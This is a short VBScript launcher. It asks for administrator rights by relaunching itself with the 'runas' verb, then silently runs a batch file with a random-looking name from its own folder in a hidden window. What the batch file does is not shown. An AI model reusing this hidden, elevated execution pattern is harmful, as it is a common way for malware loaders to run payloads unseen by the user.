If Not WScript.Arguments.Named.Exists("u367074") Then
	Set sh = CreateObject("Shell.Application")
	sh.ShellExecute "wscript.exe", _
	"""" & WScript.ScriptFullName & """ /u367074", _
	"", _
	"runas", _
	1
	WScript.Quit
End If
Set fs = CreateObject("Scripting.FileSystemObject")
pp = fs.GetParentFolderName(WScript.ScriptFullName)
fp = pp & "\u229683.bat"
If fs.FileExists(fp) Then
	Set wshl = CreateObject("WScript.Shell")
	wshl.Run "cmd.exe /c " & _
	"""" & fp & """", _
	0
End If